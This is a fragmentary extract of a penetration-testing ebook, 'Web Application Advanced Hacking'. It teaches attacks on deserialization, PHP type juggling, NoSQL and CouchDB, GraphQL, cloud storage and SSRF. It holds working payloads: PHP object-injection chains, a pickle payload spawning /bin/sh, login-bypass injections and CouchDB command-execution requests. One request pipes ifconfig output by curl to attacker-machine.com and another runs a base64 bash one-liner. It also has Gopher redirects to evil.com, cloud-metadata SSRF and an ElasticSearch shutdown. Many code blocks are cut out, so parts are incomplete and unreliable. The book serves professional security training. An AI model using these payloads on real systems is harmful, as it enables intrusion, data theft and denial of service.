Web Application Advanced
Web Application Advanced
Maor Tal
This book is for sale at http://leanpub.com/web_application_advanced_hacking
This is a Leanpub book. Leanpub empowers authors and publishers with the Lean
Publishing process. Lean Publishing is the act of publishing an in-progress ebook
using lightweight tools and many iterations to get reader feedback, pivot until you
have the right book and build traction once you do.
Legal Disclaimer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
Acknowledgement . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
Preface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4
Who is this book for? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
A word of favor and caution . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
What to expect from this book . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
Feedback and book updates . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
Indexs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 101
Legal Disclaimer
Web Application Advanced Hacking. Copyright © 2020 by Maor Tal
All rights reserved. No part of this publication may be reproduced, distributed, or
transmitted in any form or by any means, including photocopying, recording, or
other electronic or mechanical methods, without the prior written permission of
the publisher, except in the case of brief quotations embodied in critical reviews
and certain other noncommercial uses permitted by copyright law. For permission
requests, contact the author and copyright owner.
Author: Maor Tal
Editorial Editing by Mary Lembeth
Book Design by Maor Tal
First Published 5th Junary, 2019
This book copy was intended for personal use only. For information on distribution,
translations or bulk sales, please contact the author and copyright owner.
Product and company names mentioned herein may be the trademark symbol with
every occurrence of a trademark name, the author uses the names only in an editorial
fashion, with no intention of infringement of the trademark. Use of the term in this
book should not be regarded as affecting the validity of any trademark or service
mark.
The information in this book is distributed “As-is”. Although the author have made
every effort to ensure that the information in this book was correct at press time,
the author do not assume and hereby disclaim any liability to any party for any
loss, damage, or disruption caused by errors or omissions, whether such errors or
omissions result from negligence, accident, or any other cause.
About the Author
Maor Tal is a security researcher with more than seven years’ experience in various
security and software fields. He works as a penetration tester for major global finan-
cial institutions and leading high-tech companies to help them in their cyber security
posture. His core areas of expertise include web and mobile penetration testing,
vulnerability analysis, and red-team engagements. He holds relevant certificates in
the field of penetration testing such as OSCP, eCCPT. He loves to participate in
Capture The Flag competitions, bug bounties, security events and share his passion
for penetration testing to help security professionals boost their skills and get them
to think outside the box.
Acknowledgement
To my family, who supported me in the roller coaster of my motivation during the
writing process in the last year, and during the hard times when a cup of coffee
wasn’t enough, thank you.
Thanks to my colleagues- Mr. Avaram Schwarz, Mr. Daniel Bar Dagan and Mr. Doron
Perez. I really want to thank you for motivating me, for building my confidence and
for the encouragement you gave me in the process. Also, your valuable feedback and
help at the end helped me to develop my book and myself even further. Seriously,
how many hackers do you meet that are actually happy to help? Yes, I’m talking
to you guys!
A special thanks to Mr. Niv Levy, my friend and the best security researcher I ever
met. You exposed me to the world of bug bounty and shared some of your best
insights of this bug bounty world. You are the best! (But you already know that!)
Thank you, Ms. Mary Lambeth, for helping my words come out in a polished manner.
Your advice could definitely help me on my next journey. I really appreciate you
being so patient and helpful during the editorial process. I was really glad for the
opportunity to work with you!
To everyone who purchased a copy of this book, and helped my dream grow, thank
you!
Without all of the support, not only would I have not finished this book, my dream
of writing it would never have even begun.
Preface
I have always been obsessed with web application hacking—I’m fascinated by the
mindset of the people who find vulnerabilities and ways to exploit them. Why do
they decide to do things a certain way, and how do they develop and implement
their techniques? I remember the days when I struggled with disclosures for some
seriously complex vulnerabilities. I was thirsty to learn more, but in simple language
that could help me better understand how the mind of a security researcher works.
As a passionate reader, I bought many technical books about the subject, but the same
patterns always emerged; it was always “How to use Kali-Linux-stuff” or “Execute
this tool to get X result.” But I wanted to know more. Not just how to run command
line tools, but to really understand how things actually work behind the scenes—and
perhaps even develop my own tools.
At this stage, I was eager for more, so I set upon a simple goal: to write my own
cheat sheet notebook in plain language, so that I’d always have something to refer
to. I kept looking for more information about how to hack, and came across some
amazing security researchers on YouTube. I avidly watched their videos and read
their write-ups, and wrote down everything I learned in one huge notebook. Then,
in 2019, I decide to give back to the community by consolidating all my notes in a
practical and straightforward book—which you are reading a copy of right now.
This book is intended to provide a hands-on approach to discovering and exploiting
advanced vulnerabilities in web applications, so that you can provide your customers
with high-quality penetration testing and improved application security procedures.
We will examine some of the latest topics, including cloud storage, JSON Web Token,
API frameworks, OAuth 2.0, and more. Alongside descriptions and explanations of
advanced web application techniques, I have incorporated many practical examples
to demonstrate how techniques and attack methods have changed and evolved over
the past few years. Throughout the book, we will start with the basics of each topic
so that you can fully understand each vulnerability and its impact, then we will delve
into the details of how to exploit the vulnerability, along with some examples from
my personal experience.
Preface 5
class myClass
{
public $name = "demo";
function __construct()
{
#...some PHP code...#
}
}
print serialize(new myClass);
Executing this script will serialize the PHP class to the following string:
O:7:"myClass":1:{s:4:"name";s:4:"demo";}
Similarly, in Python, the same process can be performed with the default pickle
serialization class, as demonstrated below:
import pickle
my_data = {}
my_data['friends'] = ["Alice", "Bob"]
pickle_data = pickle.dumps(my_data)
print(pickle_data)
b'\x80\x03}q\x00X\x07\x00\x00\x00friendsq\x01]q\x02(X\x05\x00\x00\x00al\
iceq\x03X\x03\x00\x00\x00bobq\x04es.'
Using the serialized string, we can store or transfer an array, object, or other complex
data structure as a string representation. By using unserialize, we are able to reverse
the process and instantly access the array or object items.
Chapter 1: Deserialization Attacks 11
Insecure deserialization
Insecure deserialization refers to a deserialization process in which the serialized
string is converted back to its original object in memory by using untrusted user
inputs. With insufficient input validation, this can lead to logic manipulation or
arbitrary code execution.
Some common attack vectors in web applications that use serialization include:
$a = unserialize($_COOKIES[‘data’]);
if(isset($a['username']) && $a['username'] === 'administrator'){
echo "Access Granted!";
}else{
echo "NO PERMISSIONS GRANTED.";
}
a:2:{s:8:"username";s:4:"user";s:4:"guid";s:32:"b6a8b3bea87fe0e05022f8f\
3c88bc960";}
a:2:{s:8:"username";s:13:"administrator";s:4:"guid";s:32:"b6a8b3bea87fe\
0e05022f8f3c88bc960";}
In PHP, methods that begin with two underscores (__) are called “magic methods.”
These magic methods play an important role in the application’s lifecycle, as they
can be invoked during specific events.
Chapter 1: Deserialization Attacks 13
class InsecureClass
{
private $hook;
private $log;
$user_data = unserialize($_GET['data']);
In this class, we see the implementation of a PHP magic method, __wakeup. The
script also declares a vulnerable unserialize() function. When both conditions are
met, it can result in arbitrary PHP object(s) injection into the current application
scope.
To create our payload, we can execute the following script:
class InsecureClass
{
private $hook = "phpinfo();";
}
O:13:"InsecureClass":1:{s:19:"InsecureClasshook";s:10:"phpinfo();";}
O%3A13%3A%22InsecureClass%22%3A1%3A%7Bs%3A19%3A%22%00InsecureClass%00ho\
ok%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D
As a result, the script will evaluate our payload command and return the phpinfo()
output. One important thing to keep in mind in PHP serialization is that the method
is not serialized and will not be saved; only the name of the class and its properties
are serialized. Please notice, the payload has been shortened for readability.
Chapter 1: Deserialization Attacks 15
$user_data = unserialize($_GET['data']);
Chapter 1: Deserialization Attacks 16
What this block of code does is define a class named LoggerIO—which inherits
from a parent class IO—and implements the magic method __destruct(). This calls
the removeFile() method internally. In addition, it sets the filename property to
a predefined string “log.txt.” To better understand the vulnerability impact of the
removeFile() method, let’s inspect class IO:
class IO {
Until now, our initial gadget is the __destruct() magic method, which calls the
removeFile() method. The removeFile() method then becomes our new gadget.
Inspecting the destroy() method reveals its susceptibility to classic remote code
execution (RCE) vulnerabilities.
To exploit this vulnerability, we need to change the value of the LoggerIO class
property to a string such as “log.txt | touch hack.txt,” which will then allow us to
execute a command using the destroy() method within the IO class.
To create our final POP chain, we can use the following script:
class LoggerIO
{
Which will result in our final payload being submitted to the following serialized
string:
In the next example, the declared magic methods in the classes do not contain any
useful code in terms of exploitation. However, it still possible to create POP chains
in such cases. Consider the following classes:
class LoadObjectInternal
{
protected $obj;
function __construct()
{
#...some PHP code…#
}
function __wakeup()
{
if (isset($this->obj)) return $this->obj->run();
}
}
class CodeLoad
{
private $code;
function run()
{
eval($this->code);
}
}
$user_data = unserialize($_GET['data']);
The first block of code here defines a class named LoadObjectInternal, which calls
the eval() method of obj when the __wakeup() function is called. The second block
of code describes the CodeLoad class, which has a private property named code that
contains the code string to be executed, and a run() method that calls eval() on the
given code string.
At first, this seems complicated and not exploitable. But in order to exploit it, all
we need to do is overwrite the code propriety to contain our malicious payload and
prompt the LoadObjectInternal class to create an instance of the CodeLoad using the
__wakeup() method.
Hence, we can use the following script to generate our payload:
class CodeLoad
{
private $code = "phpinfo();";
}
class LoadObjectInternal
{
protected $obj;
function __construct()
{
$this->obj = new CodeLoad;
}
}
Which will result in our final payload being submitted to the following serialized
string:
O:18:"LoadObjectInternal":1:{s:6:"*obj";O:8:"CodeLoad":1:{s:14:"CodeLoa\
dcode";s:10:"phpinfo();";}}
Tip
If you are interested in finding deserialization vulnerabilities in more
complicated frameworks in PHP such as CodeIgniter, Laravel, etc., I
highly recommend that you check out the PHPGGC tool from GitHub:
https://github.com/ambionics/phpggc
Tip
For more information about the pickle / cPickle framework, I highly
recommend that you refer to the Python documentation here:
https://docs.python.org/2/library/pickle.html
Chapter 1: Deserialization Attacks 20
import pickle
' convert given serialized object byte stream back to object '
def deserialization(serializedObj):
return pickle.loads(serializedObj)
print(serialization(objDemo))
serializedObj = serialization(objDemo)
print(deserialization(serializedObj))
b'\x80\x03]q\x00(X\x01\x00\x00\x001q\x01X\x06\x00\x00\x00randomq\x02X\x\
05\x00\x00\x00Valueq\x03K\x17e.'
['1', 'random', 'Value', 23]
In the above code, we create two simple methods that in turn deserialize or serialize
a given object using built-in pickling functions. In the first print, we can pass a list
object called objDemo to our serialization method, which will return a binary string:
Chapter 1: Deserialization Attacks 21
b'\x80\x03]q\x00(X\x01\x00\x00\x001q\x01X\x06\x00\x00\x00randomq\x02X\x\
05\x00\x00\x00Valueq\x03K\x17e.'
We can save the output as a serialized string named serializedObj. Then, we can pass
it to our deserialization method to convert the bytes in the serialized string back to
an object, and return it to get the following result:
Now that we have a better understanding of how pickle works, in the next section,
we’ll explore the concept of how to create malicious data that can permit remote
code execution (RCE).
import pickle
import os
class Exploit(object):
def __reduce__(self):
Chapter 1: Deserialization Attacks 22
print(serialization(Exploit()))
b'\x80\x03cposix\nsystem\nq\x00X\x07\x00\x00\x00/bin/shq\x01\x85q\x02Rq\
\x03.'
This final serialized payload will give us a shell as the user running the vulnerable
code, which can be used to escalate user privileges if the user is not already root.
Tip
It’s really easy to create shellcode payloads for vulnerable pickle / cPickle
python apps. There are a few quick tricks I use during my CTFs (capture
the flags) and customer demos. Check out the following gists on GitHub for
some examples: Python’s Pickle Remote Code Execution payload template
(https://gist.github.com/mgeeky/cbc7017986b2ec3e247aab0b01a9edcd)
and Python cPickle/pickle exploit generator
(https://gist.github.com/0xBADCA7/f4c700fcbb5fb8785c14)
Chapter 2: Type Juggling Attacks
Type juggling attacks occur in a few languages, but they particularly target PHP,
because it has two types of comparisons: Strict (===, !==) and Loose (==, !=).
In a strict comparison, the expression 1 === 1 means that the value and type of both
values are the same. In contrast, in a loose comparison, the expression 1 == 1 (with
only two equals signs instead of three) means that the first value could be interpreted
either as an integer or as 1 (true) in Boolean. This built-in feature of PHP language
forces variables or values to be converted into specific data types before comparing
them.
Due the different data types in PHP, the value ‘9’ (interpreted as string) is different
from 9 (interpreted as integer)—but if we add both values, the result will be 18
(interpreted as integer) . This behaviour is unique to PHP; in other languages such as
Python, this addition will simply result in an error. PHP does this to accommodate
human error, so that the program can run as intended.
Tip
You can It is possible to see more about the difference between
the loose and strict comparisons on the in PHP website:
https://www.php.net/manual/en/types.comparisons.php
require_once(“../../db.php”);
require_once(“../../server_secrets.php”);
$json_params = file_get_contents("php://input");
$adminName = $json_params[‘user’];
$adminPassword = $json_params[‘password’];
As first glance, we can see that the application loads different files (which we don’t
have read access to in our customer environment), and then compares the POST
request values of $adminName and $adminPassword against the database values.
Because the comparison uses two (rather than three) equals signs, we can spot that
the application uses a loose comparison to compare between the values (which are
probably strings).
In order to bypass the authentication, we need to compare the original value from
the database (which is defined as a string) to another string (see the previous chart
of loose comparisons). So, our bypass request will look something like this:
In this case, when the PHP code performs its loose comparison between the given
string and our JSON parameters as integers, it will return true—which allows us to
bypass the authentication without providing a valid username or password.
That being said, it should be noted that HTTP parameters are always treated as
strings, never as other types (e.g., inputs from JSON and PHP objects)
Chapter 2: Type Juggling Attacks 25
"0000" == int(0)
"0e12" == int(0)
"1abc" == int(1)
"0abc" == int(0)
"abc" == int(0)
Another common case is that, when both values resemble numbers—even if they are
actually strings—PHP will convert them both into integers and perform a numeric
comparison. So, the following examples also all return true:
"0e12345" == "0e54321"
"0e12345" <= "1"
"0e12345" == "0"
"0xF" == "15"
$hash = $_COOKIE[‘auth_cookie’];
$username = $_COOKIE[‘username’];
$timestamp = time();
If we logged into the application as a normal user, we could see that our hash looks
something like this:
596440eae1a63306035942fe604ed854
So, to bypass this check, we could make the final calculated hash string zero-like, and
provide a “0” in the cookie. For example:
"0e768261251903820937390661668547" == "0"
If the developer has not implemented input validation when constructing the SQL
query, an attacker can bypass the condition that checks for the password by simply
Chapter 3: NoSQL Databases 28
entering a payload like ‘OR 1=1 OR ‘1’=’1 into the password field. The tampered
query would then look like this:
SELECT * FROM users WHERE username = '<USER>' AND password = ''OR 1=1
OR '1'='1'
NoSQL databases such as MongoDB don’t use traditional SQL syntax; however, they
are still potentially vulnerable to injection attacks. For example, the equivalent of the
previously illustrated query for a NoSQL MongoDB JSON array database is shown
below:
In this case, it is possible to achieve the same results as SQL injection by supplying a
MongoDB “greater than” operator ($gt) in the request, which will process the query
as follows:
And viola—we are able to bypass the condition that checks for the password.
Tip
You can learn more about the different MongoDB operators here:
https://docs.mongodb.com/manual/reference/operator/
In order to test if the login is vulnerable to NoSQL injection, we can supply a JSON
input object as follows:
In cases where the application doesn’t use JSON as input, it’s still possible to inject an
input object by passing an array object in the parameters request, as shown below:
In both the above cases, we’re able to bypass the login and access the application.
If you’re keen to try some more variations of these NoSQL injections, I highly
recommend that you test it with some more advanced payloads such as those GitHub
projects:
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection
https://github.com/cr0hn/nosqlinjection_wordlists
Tip
A great tool for automating the exploitation process is the NoSQLMap,
which was inspired by the traditional SQL injection tool SQLMap.
Download and install it from the GitHub project page here:
https://github.com/codingo/NoSQLMap
Chapter 3: NoSQL Databases 30
Tip
Another way to access to the database is via the web interface,
https://X.X.X.X:5984/_utils/
Hence, the CouchDB default port state in this case is 5984. Then, to verify if the target
server it is accessible without a password, we can send a GET request to this port.
The request would look something like the following:
GET / HTTP/1.1
Hostname: victim.lab:5984
This issues a GET request to the installed CouchDB instance. If there’s a password,
we can use a brute-force tool (metasploit, hydra, etc.) to discover its credentials.
Chapter 3: NoSQL Databases 31
{"couchdb":"Welcome","version":"0.10.1"}
From here, we can identify which databases are available on the server by sending a
GET request to the _all_dbs endpoint, as follows:
The response will contain all the available databases, for example:
Armed with all the available databases, we can simply dump the database documents
by sending a GET request to the /{dbname}/_all_docs endpoint, as follows:
If all goes well, the response might look like something like this:
{
"offset": 0,
"rows": [
{
"id": "16e458537602f5ef2a710089dffd9453",
"key": "16e458537602f5ef2a710089dffd9453",
"value": {
"rev": "1-967a01dff5e02acd41819138abb3284f"
}
},
………...
},
],
"total_rows": 50
}
Chapter 3: NoSQL Databases 32
You might notice the data is missing. This is because in CouchDB, the _all_docs
endpoint only returns the users’ documents, not their values. In our example, the
document ID of the first user is 16e458537602f5ef2a710089dffd9453.
To dump the actual data and read the document values, we can send a GET request
with this GUID to the /{dbname}/{docid} endpoint, as follows:
This will return the document values for this particular user. For example:
{
"_id": "16e458537602f5ef2a710089dffd9453",
"_rev": "1-967a01dff5e02acd41819138abb3284f",
"user": "r00t",
"roles": [
"ssh_accsess",
"web_admin"
],
"paraphrase": "H3xor1337"
}
If you want to learn more about the different endpoints in CouchDB, I highly
recommend that you follow this documentation:
https://docs.couchdb.org/en/stable/api/document/common.html#get–db-docid
The replicate will try to access data from the remote target and pull it into source.
However, if the source and target databases are not the same, it will return an error
and stop operating. As an attacker, we can also send requests from the CouchDB
server to the intranet by changing the target URL to our server:
For more information about the _replicate method, please refer to the documentation
here: http://docs.couchdb.org/en/stable/api/server/common.html#replicate
{"foo":"bar","foo":"baz"}
{foo: "baz"}
The vulnerability occurs when the jiffy parser decodes the JavaScript object:
{"foo":"bar", "foo":"baz"}
In order to exploit this vulnerability and escalate our privilege, we could create a
request to the _users endpoint that will bypass the relevant input validation and
create an admin user, because the representation of the data will only return the first
value by sending the following PUT request:
Therefore, the database will create an additional admin user without any restrictions
or input validation, as CouchDB sends functions and documents to a JavaScript
interpreter to perform the validation. The user “oops” should now exist in our
database. Let’s check if this is true by connecting using our new credentials:
{"ok":true,"name":"oops","roles":[“admin”]}
PUT /_config/query_servers/cmd
Host: victim.lab:5984
Authorization: Basic <base64(admin_username:admin_password)>
Content-type: application/json
“/sbin/ifconfig | curl http://attacker-machine.com:8080 -d @-“
Or, you could use one-liner trick to execute a command in base64 encoding:
PUT /_config/query_servers/cmd
Host: victim.lab:5984
Authorization: Basic <base64(admin_username:admin_password)>
Content-type: application/json
“/bin/bash -c ‘{echo,<base64_payload>}|{base64,-d}|{bash, -i}’”
PUT /tempdbdemo
Host: victim.lab:5984
Authorization: Basic <base64(admin_username:admin_password)>
Content-type: application/json
From here, we can insert a sample record called “somerecord” to our temp table:
PUT /tempdbdemo/somerecord
Host: victim.lab:5984
Authorization: Basic <base64(admin_username:admin_password)>
Content-type: application/json
{“_id”:”770895a97726d5ca6d70a22173005c7b”}
Chapter 3: NoSQL Databases 37
Finally, we can call the query_server processing data in order to execute the remote
code by calling the /_config/{tempTable}/_temp_view method on any database (e.g.,
tempdbdemo):
POST /_config/tempdbdemo/_temp_view?limit=11
Host: victim.lab:5984
Authorization: Basic <base64(admin_username:admin_password)>
Content-type: application/json
{“language”:”cmd”,”map”:””}
Although we will receive an error during the process, the command will be executed
in the background, allowing us to look for more sensitive data and privilege
escalation on the database server.
Chapter 4: API Hacking GraphQL
GraphQL was developed by Facebook in around 2012, and publicly released in 2015.
It’s a specification for an open source data query language (DQL) and API engine
with implementations in many languages. GraphQL is just a client facing query
language, not a backend database query language (like MongoDB, MySQL, etc.). This
means that the client first interacts with the GraphQL layer, which in turn interacts
with arbitrary code and ultimately ends up talking to the database. The idea behind
GraphQL is that you don’t need to query multiple REST APIs and send multiple
requests to different endpoints on the API to query data from the backend database
like you do with GraphQL—you only need to send one request to query the backend.
That being said, GraphQL is still fairly new and not widely implemented. However,
that doesn’t mean you won’t find it in the wild. You’ll probably see some start-
ups, high-tech companies, and large corporations implementing GraphQL as an
alternative solution for rapid REST API development.
{
field(arg: "value") {
subField
}
}
For simplicity, let’s say that in our “traditional” database, we have the following users
table schema:
Chapter 4: API Hacking GraphQL 39
{
users{
id,
name
}
}
In this example, we are asking for the ID and name fields tied to the user’s object. A
typical response we may get is a JSON response for our request:
{
"data": {
"users": [
{
"id": "1",
"name": "John Doe",
},
.....
]
}
}
Now, let’s say that we would like to fetch only the user who has ID = 1337 in our
target database backend. We will use our users object argument to query this, as
follows:
Chapter 4: API Hacking GraphQL 40
{
users(id: 1337) {
id,
name
}
}
After indicating which entry to get (ID = 1337) and asking for the object fields, a
valid response may look like this:
{
"data": {
"users": {
"id": "1337",
"name": "Mr. Robot"
}
}
}
At this point, we already have the basics needed for our pentesting process. However,
GraphQL has a lot more features. You can check out the documentation here—it’s
really easy to read and follow: https://graphql.github.io/learn/
1. /graphql/
Chapter 4: API Hacking GraphQL 41
2. /graphql/console/
3. /graphql.php
4. /graphiql/
5. /graphiql.php
6. /api/grpahsql
7. /api/grpahsql/grpahsql.php
8. /api/<company>-grpahsql
9. /<company>-graphsql
From my experience, it is more convenience to run the Burp Intruder tool with the
simple list to automate the process. The next part of our exploration is to look for
error messages, for example:
{
"errors": [
{
"message": "Must provide query string",
"stack": null
}
]
}
Then, if we provide an invalid value to the parameter, for example ?query=”, we can
confirm that the page is dealing with a GraphQL endpoint.
Start by simply issuing the following introspection query, which will show you all
the queries available on the endpoint:
http://vuln.lab/graphql?query={__schema{types{name,fields{name}}}}
Once an interesting type is found, you can then query its field values by issuing the
following query to pull the relevant information and return the values to you:
http://vuln.lab/graphql?query={TYPE_1{FIELD_1,FIELD_2}}
{
"data": {
"_schema": {
types: {
0: {
name: "User",
fields:
{
0: {name: "username"},
1: {name: "password"},
}
}
},
}
}
}
It means that there is a type called “User” and it has two fields, called “username”
and “password.” Anything that starts with a “__” can be ignored, as these are part of
the introspection system. This makes our final query to extract data look like this:
Chapter 4: API Hacking GraphQL 43
http://vuln.lab/graphql?query={User{username,password}}
Tip
Issuing the introspection query by hand and figuring everything out by
reading the response can be a painful and time-consuming task. I highly
recommend downloading and installing (even locally) this GraphQL-
IDE project from GitHub (https://github.com/andev-software/graphql-
ide), which will fetch everything automatically and save you some time.
{
users(id: “1”) {
id,
name
}
}
{
users(id: “1’”) {
id,
name
}
}
We could generate a MySQL syntax error that looks similar to the following:
{
"errors": [
{
"message": "ER_PARSE_ERROR: You have an error in your SQL syntax; chec\
k the manual that corresponds to your MySQL server version for the righ\
t syntax to user near 'id' at line 1",
…………………
}
]
}
In some cases, the application might not throw an error—but it may still be vulnerable
to blind, time-based, out-of-band SQL injection, or even NoSQL attacks, as our final
payload depends on the backend technology of the database.
Remember, if you find a GraphQL endpoint, make sure to test whether authentication
was implemented. If it wasn’t, you just found an easy win—you can now pull data
and retrieve restricted information from the backend database.
Tip
Another possibility is to verify whether the information returned by the
query is limited to administrator user scope. If it isn’t, you can dump sen-
sitive information from an admin account using a low-privilege account.
Chapter 5: Misconfigured Cloud
Storage
Cloud storage provides a solution for storing static files such as photos, videos,
documents, and almost any other type of file or asset. Instead of organizing files in a
hierarchical directory, object storage systems organize files in such a way that each
file is called an object, and any number of objects can be uploaded to the storage.
Every file has a unique link, and is delivered through the vendor CDN (Content
Delivery Network).
The features in an object storage system are typically minimal. You can store, retrieve,
copy, and delete files, as well as control which users can do which actions using REST
APIs. This allows programmers to work with the containers and objects.
There are two key-players in this field, Amazon Web Service (AWS), with S3 buckets;
and DigitalOcean, with Spaces. Both vendors provide a similar concept of file storage
and management.
1. storagename.s3.amazonaws.com
2. storagename.s3-website-region.amazonaws.com (only if the bucket has the
property “Static website hosting”)
Chapter 5: Misconfigured Cloud Storage 46
1. storagename.region.digitaloceanspaces.com
2. region.digitaloceanspaces.com/storagename
For Google Cloud Platform (GCP) Storage, the URL naming pattern is as follows:
1. https://www.googleapis.com/storage/v1/b/storagename
Misconfigured S3 buckets
For this type of test, you should configure the AWS CLI (Command Line Interface)
in your machine to connect and S3 bucket commands from the CLI.
Once you’ve installed it, you need to configure it with an access key, as described
here: https://aws.amazon.com/developers/access-keys/
Then, you will be able to check if the bucket lacks proper ACLs (Access Control
Lists) for either the buckets or objects, by inspecting the response from the following
commands to see whether they return “AccessDenied” errors:
Command Description
aws s3 ls s3://[bucketname] Try to list all files within the S3
bucket
aws s3 mv yourfile Move local file to the remote S3
s3://[bucketname]/test-file.txt bucket
aws s3 rm Delete remote file from the S3
s3://[bucketname]/test-file.svg bucket
aws s3 mv yourfile Upload file with public-read
s3://[bucketname] permission,
useful in case the object provides
an
“AccessDenied” error when
accessing it
Chapter 5: Misconfigured Cloud Storage 47
However, as some buckets are hosted in specific regions, we will need to specify the
bucket region in some cases, as follows:
Remember that S3 buckets share a global namespace, meaning that no two buckets
can share the same name. For example: demo1 and demo2 are two different buckets
and are not necessarily related to the same company.
Tip
I recommend adding the –no-sign-request argument to your command line
to avoid using credentials to sign the request; it can help to avoid issues
during the discovery phrase.
https://www.googleapis.com/storage/v1/b/[bucketname]/iam
Chapter 5: Misconfigured Cloud Storage 48
Alternativity, it’s possible to check which permissions the cloud storage supports by
directly accessing the testPermissions API endpoint:
https://www.googleapis.com/storage/v1/b/[bucketname]/iam/
testPermissions?permissions=storage.objects.list
For a full list of supported IAM (Identity and Access Management) permissions, check
the Google documentation here:
https://cloud.google.com/storage/docs/access-control/iam-permissions
The first step is to save the raw HTTP request as a packet.txt file:
Then, we pass the packet.txt file to the SSRFMap tool, which launches a portscan on
the localhost and attempts to read the default files using the -m (“module”) argument:
Now, if the tool finds any results, you’ll see them in the SSRFmap shell.
Cloud-based SSRF
Most cloud service providers (e.g., Amazon AWS) give access to the internal metadata
REST (Representational State Transfer) API, from where important configuration and
sensitive data can be extracted. This allows the attack surface to be extended, so that
you can perform lateral attacks on other services and instances within the cloud
environment.
API metadata endpoints are usually available through the internal IP address
169.254.169.254; however, with some providers you’ll need to provide an additional
header if you want to access them from the server.
Some examples of internal APIs are given below for different cloud platforms:
Chapter 6: Server-Side Request Forgery 51
Tip
You may find more accurate API endpoints in the following GitHub
Project:
https://github.com/cujanovic/SSRF-Testing/blob/master/cloud-
metadata.txt
For example, if our target is hosted in AWS cloud, and our vulnerable packet is as
follows:
{‘url’: “http://img.hosting.demo/myimage.png”}
We can use the AWS EC2 metadata endpoint to fetch information from the server,
as follows:
* Please note that AWS Metadata API (IMDS) in v2 requires an addtional header in
request, but it still need to activate by the customer. For more information:
https://aws.amazon.com/pt/blogs/security/defense-in-depth-open-firewalls-reverse-
proxies-ssrf-vulnerabilities-ec2-instance-metadata-service/
<creds>
<user>Ed</user>
<pass>mypass</pass>
</creds>
To perform an XXE out-of-band attack, you’ll need to add three new lines of code to
the XML to create a malicious XML document, for example:
Chapter 6: Server-Side Request Forgery 53
You can also use this technique to perform actions on exposed APIs that support the
GET method. For example, when using the shutdown command on an ElasticSearch
(which is exposed on the default port 9200), ElasticSearch doesn’t care about the
POST data, so you can easily add some extra code:
As result, we can shutdown the ElasticSearch instance and cause to denial of service
to the webserver.
http://victim.lab/index.php?file=terms_of_use_20191102.pdf
Chapter 6: Server-Side Request Forgery 54
At this point, we’ll be able to retrieve sensitive data and perform SSRF requests using
the following methods:
a seamless fashion. But like any other evolved technology, it was later replaced by
the newer Web HTTP protocol we all know and are familiar with today.
In SSRF, the Gopher protocol is commonly used to send requests to other services
and execute arbitrary commands without any additional headers.
The response will contain the file’s content. As we discussed earlier, to verify the
existence of SSRF vulnerabilities, we could try to load an internal interface:
So far, so simple. However, if we would like to leverage this vulnerability, we can use
the Gopher text protocol scheme to send a message back to our server. Let’s create
the following file in our controllable server:
<?php
header('Location: gopher://evil.com:1337/_Hi%0SSRF%0Atest');
?>
This code redirects the file response to the Gopher protocol scheme, which in turn
tries to connect back to our listener in port 1337. In some cases, it’s also possible to
use the Gopher wrapper to query server services such as SMTP and similar.
Sticking with the previous scenario, let’s look at another example. Say we create the
following file on our controllable server:
Chapter 6: Server-Side Request Forgery 56
<?php
$commands = array(
'HELO victim.com',
'MAIL FROM: <admin@victim.com>',
'RCPT To: <pentester@waah.book>',
'DATA',
'Subject: Muahaha!',
'Hx0or was here, woot woot!',
'.'
);
$payload = implode('%0A', $commands);
header('Location: gopher://0:25/_'.$payload);
?>
When the file has been loaded, it creates the following payload:
Then, it uses the Gopher protocol to send a crafted message over the server’s SMTP
service on port 25/tcp, which will make a request like this:
HELO victim.com
MAIL FROM:<admin@victim.com>
RCPT TO:<pentester@waah.book>
DATA
From: [Admin] <admin@victim.com>
To: <pentester@waah.book>
Subject: Muahaha!
Remember that the Gopher is simple protocol; every new line will be separated using
the %0A char.
Chapter 6: Server-Side Request Forgery 57
To bypass it, we could use the localtest.me DNS address, which will redirect to the
localhost IP.
Let’s ping this address to verify:
Tip
I highly recommend using an URL shortening service such as bit.ly (e.g.,
https://bit.ly/2Kgbc9P) to redirect any addresses to localhost or internal IP
addresses.
Chapter 7: Application Logic
As a security researcher, I always find that the most interesting part of pentesting
a customer engagement or taking a part in a bug bounty program is discovering
logical flaws within an application. The procedure is different to identifying common
application attacks, such as SQL injection and Cross-Site Scripting (XSS), as these
are very technical attacks that are usually found using automated scanners with
repeatable patterns—human pentesters just can’t (and won’t) check every single
parameter with a single payload—it’s much too time and cost consuming, with a
